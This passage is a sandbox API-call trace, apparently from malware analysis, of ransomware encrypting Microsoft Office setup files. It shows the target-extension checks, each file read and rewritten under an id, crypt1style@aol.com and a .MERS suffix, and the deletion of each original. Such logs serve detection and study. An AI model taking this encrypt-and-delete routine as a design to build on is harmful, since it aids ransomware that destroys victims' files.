Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.488] lstrlenW (lpString=".dbf") returned 4 [0040.488] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.488] lstrlenW (lpString=".1cd") returned 4 [0040.488] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0040.488] lstrlenW (lpString=".jpg") returned 4 [0040.488] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.488] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.488] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0040.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.488] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1565) returned 1 [0040.489] CloseHandle (hObject=0x1c0) returned 1 [0040.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0040.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.489] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.489] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.489] GetLastError () returned 0x0 [0040.489] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x61d, lpOverlapped=0x0) returned 1 [0040.498] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x620, lpOverlapped=0x0) returned 1 [0040.499] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.500] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.500] SetEndOfFile (hFile=0x1c4) returned 1 [0040.500] CloseHandle (hObject=0x1c4) returned 1 [0040.500] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.500] SetEndOfFile (hFile=0x1c0) returned 1 [0040.501] CloseHandle (hObject=0x1c0) returned 1 [0040.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.502] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0040.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.502] lstrlenW (lpString=".doc") returned 4 [0040.502] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.502] lstrlenW (lpString=".docx") returned 5 [0040.502] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.502] lstrlenW (lpString=".pdf") returned 4 [0040.502] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.502] lstrlenW (lpString=".xls") returned 4 [0040.502] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.502] lstrlenW (lpString=".xlsx") returned 5 [0040.502] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.502] lstrlenW (lpString=".ppt") returned 4 [0040.502] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.502] lstrlenW (lpString=".zip") returned 4 [0040.502] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.502] lstrlenW (lpString=".rar") returned 4 [0040.503] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString=".bz2") returned 4 [0040.503] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString=".7z") returned 3 [0040.503] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.503] lstrlenW (lpString=".dbf") returned 4 [0040.503] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.503] lstrlenW (lpString=".1cd") returned 4 [0040.503] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.503] lstrlenW (lpString=".jpg") returned 4 [0040.503] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.503] lstrlenW (lpString=".doc") returned 4 [0040.503] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString=".docx") returned 5 [0040.503] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.503] lstrlenW (lpString=".pdf") returned 4 [0040.503] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString=".xls") returned 4 [0040.503] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString=".xlsx") returned 5 [0040.503] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.503] lstrlenW (lpString=".ppt") returned 4 [0040.503] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.504] lstrlenW (lpString=".zip") returned 4 [0040.504] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.504] lstrlenW (lpString=".rar") returned 4 [0040.504] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.504] lstrlenW (lpString=".bz2") returned 4 [0040.504] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.504] lstrlenW (lpString=".7z") returned 3 [0040.504] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.504] lstrlenW (lpString=".dbf") returned 4 [0040.504] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.504] lstrlenW (lpString=".1cd") returned 4 [0040.504] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0040.504] lstrlenW (lpString=".jpg") returned 4 [0040.504] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.504] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.504] lstrlenW (lpString="SETUP.XML") returned 9 [0040.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.505] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2296) returned 1 [0040.505] CloseHandle (hObject=0x1c0) returned 1 [0040.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0040.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.506] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.506] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.508] GetLastError () returned 0x0 [0040.508] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0040.513] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x900, lpOverlapped=0x0) returned 1 [0040.514] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.514] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.515] SetEndOfFile (hFile=0x1c4) returned 1 [0040.515] CloseHandle (hObject=0x1c4) returned 1 [0040.515] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.515] SetEndOfFile (hFile=0x1c0) returned 1 [0040.516] CloseHandle (hObject=0x1c0) returned 1 [0040.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.517] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0040.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.517] lstrlenW (lpString=".doc") returned 4 [0040.517] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.517] lstrlenW (lpString=".docx") returned 5 [0040.517] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.517] lstrlenW (lpString=".pdf") returned 4 [0040.517] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.517] lstrlenW (lpString=".xls") returned 4 [0040.517] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.517] lstrlenW (lpString=".xlsx") returned 5 [0040.517] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.517] lstrlenW (lpString=".ppt") returned 4 [0040.517] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.517] lstrlenW (lpString=".zip") returned 4 [0040.518] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.518] lstrlenW (lpString=".rar") returned 4 [0040.518] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString=".bz2") returned 4 [0040.518] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString=".7z") returned 3 [0040.518] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.518] lstrlenW (lpString=".dbf") returned 4 [0040.518] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.518] lstrlenW (lpString=".1cd") returned 4 [0040.518] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.518] lstrlenW (lpString=".jpg") returned 4 [0040.518] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.518] lstrlenW (lpString=".doc") returned 4 [0040.518] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString=".docx") returned 5 [0040.518] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.518] lstrlenW (lpString=".pdf") returned 4 [0040.518] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString=".xls") returned 4 [0040.518] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.518] lstrlenW (lpString=".xlsx") returned 5 [0040.518] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.518] lstrlenW (lpString=".ppt") returned 4 [0040.519] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.519] lstrlenW (lpString=".zip") returned 4 [0040.519] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.519] lstrlenW (lpString=".rar") returned 4 [0040.519] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.519] lstrlenW (lpString=".bz2") returned 4 [0040.519] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.519] lstrlenW (lpString=".7z") returned 3 [0040.519] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.519] lstrlenW (lpString=".dbf") returned 4 [0040.519] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.519] lstrlenW (lpString=".1cd") returned 4 [0040.519] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0040.519] lstrlenW (lpString=".jpg") returned 4 [0040.519] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.519] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.519] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0040.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.520] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=913) returned 1 [0040.520] CloseHandle (hObject=0x1c0) returned 1 [0040.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0040.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0040.520] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.520] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.522] GetLastError () returned 0x0 [0040.522] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x391, lpOverlapped=0x0) returned 1 [0040.859] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0040.860] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.860] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.861] SetEndOfFile (hFile=0x1c4) returned 1 [0040.861] CloseHandle (hObject=0x1c4) returned 1 [0040.861] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.861] SetEndOfFile (hFile=0x1c0) returned 1 [0040.862] CloseHandle (hObject=0x1c0) returned 1 [0040.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.863] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0040.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.863] lstrlenW (lpString=".doc") returned 4 [0040.863] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.864] lstrlenW (lpString=".docx") returned 5 [0040.864] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.864] lstrlenW (lpString=".pdf") returned 4 [0040.864] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.864] lstrlenW (lpString=".xls") returned 4 [0040.864] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.864] lstrlenW (lpString=".xlsx") returned 5 [0040.865] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.865] lstrlenW (lpString=".ppt") returned 4 [0040.865] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.865] lstrlenW (lpString=".zip") returned 4 [0040.865] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.865] lstrlenW (lpString=".rar") returned 4 [0040.865] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.865] lstrlenW (lpString=".bz2") returned 4 [0040.865] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.865] lstrlenW (lpString=".7z") returned 3 [0040.865] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.865] lstrlenW (lpString=".dbf") returned 4 [0040.865] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.865] lstrlenW (lpString=".1cd") returned 4 [0040.865] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.865] lstrlenW (lpString=".jpg") returned 4 [0040.865] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.866] lstrlenW (lpString=".doc") returned 4 [0040.866] 